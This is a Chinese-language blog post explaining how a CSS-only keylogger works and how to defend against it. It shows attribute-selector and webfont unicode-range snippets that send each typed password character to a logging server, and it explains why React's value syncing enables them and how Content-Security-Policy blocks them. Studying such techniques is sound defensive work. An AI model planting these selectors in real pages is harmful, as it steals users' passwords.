CSS keylogger:攻擊與防禦


Posted by huli on 2018-03-02

前言

前陣子在 Hacker News 上面看到這篇:Show HN: A CSS Keylogger,大開眼界,決定要找個時間好好來研究一下,並且寫一篇文章分享給大家。

這篇會講到以下東西:

  1. 什麼是 keylogger
  2. CSS keylogger 的原理
  3. CSS keylogger 與 React
  4. 防禦方法

好,那就讓我們開始吧!

Keylogger 是什麼?

Keylogger 就是鍵盤側錄,是惡意程式的一種,拿來記錄你電腦上面所有按過的按鍵。還記得我小時候曾經用 VB6 寫了一個超簡單的 keylogger,只要呼叫系統提供的 API 並且記錄相對應的按鍵就好。

在電腦上面被裝這個的話,就等於你輸入的任何東西都被記錄起來。當然,也包含了帳號跟密碼。不過如果我沒記錯,防毒軟體的行為偵測應該可以把這些都擋掉,所以也不用太過擔心。

剛剛講的是在電腦上面,現在我們把範圍縮小,侷限在網頁。

如果你要在頁面上加一個 keylogger,通常會利用 JavaScript 來達成,而且程式碼超級簡單:

document.addEventListener('keydown', e => {
  console.log(e.key)
})

只要偵測keydown事件並且抓出按下的 key 就行了。

不過假如你有能力在你想入侵的網頁上面加入 JavaScript 的話,通常也不需要這麼麻煩去記錄每個按鍵,你直接把 Cookie 偷走、竄改頁面、導到釣魚頁面,或者是在 submit 的時候把帳號密碼回傳給自己的 Server 就好,所以 keylogger 顯得不是那麼有用。

好,那假設我們現在沒辦法插入惡意的 JavaScript,只能改 CSS,有辦法用純 CSS 做出一個 keylogger 嗎?

有,畢竟 CSS 能做的事情可多了

純 CSS keylogger 的原理

直接看程式碼你就懂了(取自:maxchehab/CSS-Keylogging):

input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");
}

神奇吧!

如果你不熟悉 CSS selector,這邊幫你複習一下。上面那段意思就是說如果 type 是 password 的 input,value 以 a 結尾的話,背景圖就載入http://localhost:3000/a

現在我們可以把這串 CSS 改一下,新增大小寫英文字母、數字甚至是特殊符號,接著會發生什麼事呢?

如果我輸入 abc123,瀏覽器就會發送 Request 到:

  1. http://localhost:3000/a
  2. http://localhost:3000/b
  3. http://localhost:3000/c
  4. http://localhost:3000/1
  5. http://localhost:3000/2
  6. http://localhost:3000/3

就這樣,你的密碼就完全被攻擊者給掌握了。

這就是 CSS keylogger 的原理,利用 CSS Selector 搭配載入不同的網址,就能夠把密碼的每一個字元發送到 Server 去。

看起來很可怕對吧,別怕,其實沒那麼容易。

CSS keylogger 的限制

不能保證順序

雖然你輸入的時候是按照順序輸入的,但 Request 抵達後端的時候並不能保證順序,所以有時候順序會亂掉。例如說 abc123 變成 bca213 之類的。

但如果我們把 CSS Selector 改一下的話,其實就能解決這個問題:

input[value^="a"] {
  background-image: url("http://localhost:3000/a_");
}

input[value*="aa"] {
  background-image: url("http://localhost:3000/aa");
}

input[value*="ab"] {
  background-image: url("http://localhost:3000/ab");
}

如果開頭是 a,我們就送出a_,接著針對 26 個字母跟數字的排列組合每兩個字元送出一個 request,例如說:abc123,就會是:

  1. a_
  2. ab
  3. bc
  4. c1
  5. 12
  6. 23

就算順序亂掉,透過這種關係你把字母重新組合起來,還是可以得到正確的密碼順序。

重複字元不會送出 Request

因為載入的網址一樣,所以重複的字元就不會再載入圖片,不會發送新的 Request。這個問題目前據我所知應該是解不掉。

在輸入的時候,其實 value 不會變

這個其實是 CSS Keylogger 最大的問題。

當你在 input 輸入資訊的時候,其實 input 的 value 是不會變的,所以上面講的那些完全不管用。你可以自己試試看就知道了,input 的內容會變,但是你用 dev tool 看的話,會發現 value 完全不會變。

針對這個問題,有兩個解決方案,第一個是利用 Webfont:

<!doctype html>
<title>css keylogger</title>
<style>
@font-face { font-family: x; src: url(./log?a), local(Impact); unicode-range: U+61; }
@font-face { font-family: x; src: url(./log?b), local(Impact); unicode-range: U+62; }
@font-face { font-family: x; src: url(./log?c), local(Impact); unicode-range: U+63; }
@font-face { font-family: x; src: url(./log?d), local(Impact); unicode-range: U+64; }
input { font-family: x, 'Comic sans ms'; }
</style>
<input value="a">type `bcd` and watch network log

(程式碼取自:Keylogger using webfont with single character unicode-range

value 不會跟著變又怎樣,字體總會用到了吧!只要每打一個字,就會送出相對應的 Request。

但這個方法的侷限有兩個:

  1. 沒辦法保證順序,一樣也沒辦法解決重複字元的問題
  2. 如果欄位是<input type='password' />,就沒有用

(在研究第二個侷限的時候發現一件有趣的事,由於 Chrome 跟 Firefox 會把「頁面上有 type 是 password 的 input,但是又沒用 HTTPS」的網站標示為不安全,所以有人研究出用普通 input 搭配特殊字體來躲過這個偵測,並且讓輸入框看起來像是 password(但其實 type 不是 password),在這種情形下就可以用 Webfont 來攻擊了)

再來我們看第二種解決方案,剛剛有說到這個問題的癥結點在於 value 不會變,換句話說,如果你 input 輸入值的時候,value 會跟著變的話,這個攻擊手法就很用了。

嗯...有沒有一種很熟悉的感覺。

class NameForm extends React.Component {
  constructor(props) {
    super(props);
    this.state = {value: ''};

    this.handleChange = this.handleChange.bind(this);
  }

  handleChange(event) {
    this.setState({value: event.target.value});
  }

  render() {
    return (
      <form>
        <label>
          Name:
          <input type="text" value={this.state.value} onChange={this.handleChange} />
        </label>
      </form>
    );
  }
}

(以上程式碼改寫自React 官網

如果你用過 React 的話,應該會很熟悉這個模式。你在輸入任何東西的時候,會先改變 state,再把 state 的值對應到 input 的 value 去。因此你輸入什麼,value 就會是什麼。

React 是超夯的前端 Library,可以想像有一大堆網頁都是用 React 做的,而且只要是 React,幾乎就能保證 input 的 value 一定會同步更新(幾乎啦,但應該還是有少數沒有遵循這個規則)。

在這邊先做個總結,只要你 input 的 value 會對應到裡面的值(假如你用 React,幾乎一定會這樣寫),並且有地方可以讓別人塞入自訂的 CSS 的話,就能成功實作出 CSS Keylogger。雖然有些缺陷(沒辦法偵測重複字元),但概念上是可行的,只是精準度沒那麼高。

React 的回應

React 的社群也有針對這一個問題進行討論,都在 Stop syncing value attribute for controlled inputs #11896 這個 Issue 裡。

事實上,讓 input 的 value 跟輸入的值同步這件事情一直都會有一些 bug,以前甚至發生了知名流量分析網站 Mixpanel 不小心記錄敏感資訊的事件,而最根本的原因就是因為 React 會一直同步更新 value。

Issue 的討論滿值得一看的,裡面有提到大家常搞混的一件事情:Input 的 attributes 跟 properties。我找到 Stackover flow 上面一篇不錯的解釋:What is the difference between properties and attributes in HTML?

attributes 基本上就是你 HTML 上面的那個東西,而 properties 代表的是實際的 value,兩個不一定會相等,舉例來說:

<input id="the-input" type="text" value="Name:">

假如你今天抓這個 input 的 attribute,你會得到Name:,但如果你今天抓 input 的 value,你會得到目前在輸入框裡面的值。所以其實這個 attribute 就跟我們常用的 defaultValue 是一樣的意思,就是預設值。

不過在 React 裡面,他會把 attribute 跟 value 同步,所以你 value 是什麼,attribute 就會是什麼。

從討論看起來,在 React 17 滿有機會把這個機制拿掉,讓這兩者不再同步。

防禦方法

上面講了這麼多,因為現今 React 還沒把這個改掉,所以問題還是存在著。而且其實除了 React,也可能有別的 Library 做了差不多的事情。

Client 端的防禦方法我就不提了,基本就是裝一些別人寫好的 Chrome Extension,可以幫你偵測符合模式的 CSS 之類的,這邊比較值得提的是 Server 端的防禦。

目前看起來最一勞永逸的解決方案就是 Content-Security-Policy,簡而言之它是一個 HTTP Response 的 header,用來決定瀏覽器可以載入哪些資源,例如說禁止 inline 程式碼、只能載入同個 domain 下的資源之類的。

這個 Header 的初衷就是為了防止 XSS 以及攻擊者載入外部的惡意程式碼(例如說我們這個 CSS keylogger)。想知道更詳細的用法可以參考這篇:Content-Security-Policy - HTTP Headers 的資安議題 (2)

總結

不得不說,這個手法真的很有趣!之前第一次看到的時候也驚嘆了好一陣子,居然能發現這樣子的純 CSS Keylogger。雖然技術上是可行的,但在實作上還是會碰到許多困難之處,而且要符合滿多前提才能做這樣子的攻擊,不過還是很值得關注後續的發展。

總之呢,這篇文就是想介紹這個東西給讀者們,希望大家有所收穫。

參考資料

  1. Keylogger using webfont with single character unicode-range #24
  2. Stop syncing value attribute for controlled inputs #11896
  3. maxchehab/CSS-Keylogging
  4. Content-Security-Policy - HTTP Headers 的資安議題 (2)
  5. Stealing Data With CSS: Attack and Defense
  6. Bypassing Browser Security Warnings with Pseudo Password Fields
  7. CSS Keylogger (and why you shouldn’t worry about it)
  8. Mixpanel JS library has been harvesting passwords

關於作者:
@huli 野生工程師,相信分享與交流能讓世界變得更美好


#css #key logger









Related Posts

MTR04_0907

MTR04_0907

貪婪演算法(Greedy Algorithm)

貪婪演算法(Greedy Algorithm)

Bootstrap元件結構 #00-元件篇

Bootstrap元件結構 #00-元件篇




Newsletter




Comments